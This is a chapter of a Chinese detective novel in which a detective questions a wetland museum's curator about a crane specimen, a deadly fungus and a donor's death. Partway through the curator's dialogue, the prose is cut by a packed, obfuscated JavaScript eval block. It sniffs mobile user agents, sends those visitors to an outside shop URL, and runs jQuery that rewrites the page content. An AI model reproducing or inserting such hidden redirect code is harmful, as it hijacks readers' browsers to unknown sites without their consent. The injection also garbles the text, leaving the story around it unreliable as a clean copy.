警车驶出市区，高楼次第矮下去，水田、鱼塘和漫滩，这些湿漉漉的土地器官在眼前摊开。
天空患上了贫血症，铅灰的云层垂下来，舔舐着泥泞的地平线。
远处，西郊湿地保护区的界碑在雨中模糊成一块灰绿色的斑点。
更远处，望不到边的芦苇荡在风中翻涌成银灰色的波浪，间或露出黑漆漆的水面。
“卫队，前面就是了。”小王握紧方向盘，谨慎地踩着油门。
副驾驶上，卫希礼从膝头的日记复印件中抬起头来，向外张望。
雨刷器高频摆动，却始终划不开眼前的浓雨。
车更近后，他看见了一栋老旧的二层建筑，轮廓方正。红砖墙上爬满绿得发黑的爬山虎，一些藤蔓从破碎的窗户探进了室内。
周围荒草疯长，一条蜿蜒的石板小径连接着公路和建筑，石缝里长满青苔。
“这地方真的还在运营吗？”小王迟疑着踩下刹车。
卫希礼推开车门，雨水很快打湿肩头。六月的雨不算刺骨，却也带着沼泽地带的阴寒。
小王紧跟着下车，没走几步便脚下一滑。卫希礼伸手扶了一把，提醒他放稳脚步。
小径两旁的荒草里散落着未知动物的骨骼，白森森的，被雨水冲刷一净。一块头骨嵌在泥里，空洞的眼眶里积满雨水，像在含泪仰望天空。
大门左侧挂着木牌，上面字迹斑驳，勉强能认出“霞湾湿地自然博物馆”几个字。
牌子上方是一尊锈迹斑斑的白鹤雕塑，断裂的左翼悬在半空。
大门紧闭着，贴着一张告示：
本馆开放时间：每周二、四、六 9:00-16:30
免费参观，请保持安静
管理员：何黛拉
下面有一行手写小字，墨迹尚新：“周二闭馆整理标本，勿扰。”
今天正好是周二。
卫希礼上前敲门，厚重的木材消解了大半力道，发出沉闷的声音。
没有回应。
他又用力敲了几下，门内才传来窸窸窣窣的响动，然后是门闩滑动的嘎吱声。
门只肯裂开一条缝，一张脸从阴影中缓缓浮现，先是令人过目不忘的苍白，然后才是五官。
那是张年轻女人的脸，二十七八岁，皮肤白得简直泛蓝，底下铺着淡青的血管。
她的头发是纯粹的黑，软软地散在肩上，汗湿的几缕贴着脸颊。
那双大而狭长的眼睛似乎看不见人，只是穿透一切，落在只有她能感知的地方。
她穿着洗得发白的亚麻长裙，外罩卡其色工作围裙。那围裙很不合身，且上面沾着暗褐色的污渍。
“博物馆今天闭馆。”她的语气诚恳，带着小小的喘息。
“市局刑侦支队。”卫希礼亮出证件，“有些情况需要向你了解。你是管理员何黛拉？”
女人盯着证件看了几秒，缓缓点头，将门开大一些，“进来吧，外面雨大。”
卫希礼贴着她的手臂走进馆内，小王在门口跺了跺脚，连忙跟上。
馆内比外面更暗。
大厅挑高近六米，老式日光灯管悬在顶上，一半不亮，一半发出嗡嗡的电流声。
几十个玻璃陈列柜矗立着，如同沉默的士兵，各种湿地生物标本保持着生前的姿态，空洞地望住来客。
“这边。”何黛拉抬了抬手，领着他们穿过大厅。
她赤着脚，脚步比猫更轻。
卫希礼的目光划过她纤细的脚踝，落在脚背的泥点上，迟迟没有避开。
他们走进一间侧室，这里看起来是储藏室兼工作室，光线稍亮些。
长条木桌上摆满工具：解剖刀、镊子、针线、胶水、填充棉，以及更多。墙上钉着大大小小的标本，有蝴蝶、甲虫、蛇皮，还有鸟类翅膀，杂乱不失其序。
西墙角堆着几个玻璃缸，里面泡着难以辨认的生物组织。北墙角则被标本箱占据，黑压压的，无声地抗拒着人类。
房间中央，立着一具几乎与人等高的标本。
是一只白鹤。
它单腿立在枯树桩上，一身羽毛洁白如雪，在昏暗中自带微光，脖颈曲线流畅，长喙微张，仿佛下一秒就要发出鸣叫。
和林闻韶日记扉页的那只很像。
何黛拉走到白鹤旁，从围裙口袋掏出软布，轻轻擦拭它的喙。
“林闻韶。”卫希礼开门见山，“你认识这个人吗？”
“认识，他给博物馆捐过一笔钱，用于标本维护。”何黛拉一手将鹤微张的上下喙捏合，一手抛光似的用软布轻扫表面。
几下过后，她同时收回两只手，“很遗憾听到他的死讯。”
“捐赠时，你们有过交谈吗？”
“几乎没有，他看起来很忙，签了支票就走了。”她略一停顿，“警官为什么问这个？他的死和博物馆有关？”
“还在调查中。”卫希礼转换语气，“他死前，日记里反复提到一个词：‘白鹤’。你知道这可能指什么吗？”
何黛拉的手停在白鹤的脖颈处。
这双手，动作时青筋暴起，充满力量，此刻静止着，又有一种异常的性感。
“是指它吗？”她注视着眼前的标本，“林先生来时在这儿停留过，说它是‘很美的鸟’。”
“除了美之外呢？”卫希礼追问，“你对白鹤了解多少？”
“白鹤，学名Grus cogeraleunus，国家一级保护动物，每年秋季会从西伯利亚南迁，经过霞湾这片湿地，数量很少，全球不足七千只。”
她像在背诵教科书，“它们是单配偶制，如果伴侣死亡，另一只会独自生活，直到死去。”
“听起来很忠诚。”卫希礼评价。
“不。”何黛拉摇头，“不是忠诚，是强记。它们记得伴侣的气味、声音、羽毛的光泽，记得一起飞过的每一条迁徙路线，记忆太深，无法被新的事物覆盖。”
她说完，继续擦拭标本。
卫希礼向前两步，靠近标本，也靠近她。
行动之前，他瞥了一眼身侧的小王，确认他在低头记录，没有察觉到自己眼底的波动。
然后，他换了个问题：“你了解真菌吗？”
“真菌？”何黛拉偏过头，用那双深褐色的眼睛看着他，“为什么问这个？”
“林闻韶的死亡现场，发现了一种罕见的真菌，湿地点唇菌。”
一丝微波从何黛拉眼中流走，她放下软布，走到木桌前，拿起一个培养皿。
皿底是一片黑色腐殖土，上面青灰色的菌丝已经形成了微小的子实体。
“湿地点唇菌。”她将培养皿递给卫希礼，“我从保护区采集的样本，正在观察生长周期。”
卫希礼举起培养皿，对着光看。
菌丝在透明盖下蠕动，不，不是蠕动，是生长，肉眼可见的缓慢生长。
“你对它很熟悉。”
“我熟悉这片湿地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17918383|213395||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的大多数生物，真菌、植物、昆虫、鸟类，它们之间有着复杂的关联。”
何黛拉拿回培养皿。
“比如这种菌，只生长在几种特定的苔藓附近，因为苔藓分泌的物质能抑制其他竞争性真菌，而那种苔藓，又只生长在水质达到特定酸碱度的区域。”
她说话时，眼睛一直盯着培养皿，就好像在和菌丝对话。
“如果人吸入它的孢子，会怎么样？”
“会死。”
何黛拉看向提问的人，眼神忽然变得冷厉。
“孢子在湿润的黏膜上萌发，菌丝会在几小时内填满呼吸道，吸入的人会经历渐进性窒息，整个过程像溺水，只不过不是在水里，是在自己的体/液中。”
小王倒吸一口冷气，不由地攥紧笔，盯着眼前这个女人。
“这些知识，你从哪学来的？”卫希礼问。
“书里，观察中。”
何黛拉走向书架，抽出一本脊部开裂的《中国真菌志》递给他。
“这里有详细描述，另外，湿地保护站的科研人员有时会来交流，我从他们那里也学到很多。”
“林闻韶死亡那晚，你在哪里？”这是小王问的。
“在这里。”何黛拉指了指脚下，“整理一批新到的鸟类标本，工作到凌晨两点。”
“有人能证明吗？”
“没有。”她无比坦然，“博物馆通常只有我一个人，偶尔会有研究者来查阅资料，但那天是周一，闭馆日。”
小王面露狐疑，看向卫希礼。
卫希礼还盯着手里的书，良久，没有翻动，然后，他把书送还何黛拉，开始在狭窄的储藏室踱步。
他的目光扫过那些标本、工具、培养皿，落在墙上的一幅手绘地图上。
地图标注着整个湿地保护区的地形、水文、植被分布，笔迹工整细致，显然是制作者精心绘制的。
“你在这里工作多久了？”
“七年。”何黛拉将书放回书架，“从博物馆重新开放起。”
“之前呢？”
“之前在疗养院，我生过病。”她模糊作答，“再之前在读书。”
卫希礼站在地图前，手指划过上面的小字，“你的确很了解湿地。”
“每天看着，就会了解。”何黛拉向他走近几步。
她身上有一种独特的气味，是福尔马林和干草相混合的味道，这味道莫名让卫希礼心旌摇曳。
“可以指教一二吗？”他问。
何黛拉思考着，娓娓道来，“湿地是个很特别的地方，它既不是纯粹的陆地，也不是纯粹的水域，它是过渡带、边缘地带。”
“生与死在这里没有明确的界限，腐烂的植物滋养新芽，死去的动物成为其他生物的食物，一切都在循环。”
她说着，抬手将发丝别到耳后。
卫希礼的目光随着她的手移动，从滑落的袖口中，瞥见她手腕内侧的一小片暗红疤痕。
那疤有些年头了，皮肤皱缩，应该是烫伤。
“警官，还有什么要问吗？”何黛拉察觉到他的视线，不动声色地拉下袖子，“我下午要处理一批新到的蝮蛇标本，需要在腐烂前完成剥制。”
“最后一个问题。”
卫希礼收回视线，呼出一口气——直到这时，他才发觉自己刚才一直屏着呼吸。
他需要从她口中听到这个问题的答案，因此必须发问。
“你听说过叶默尔吗？”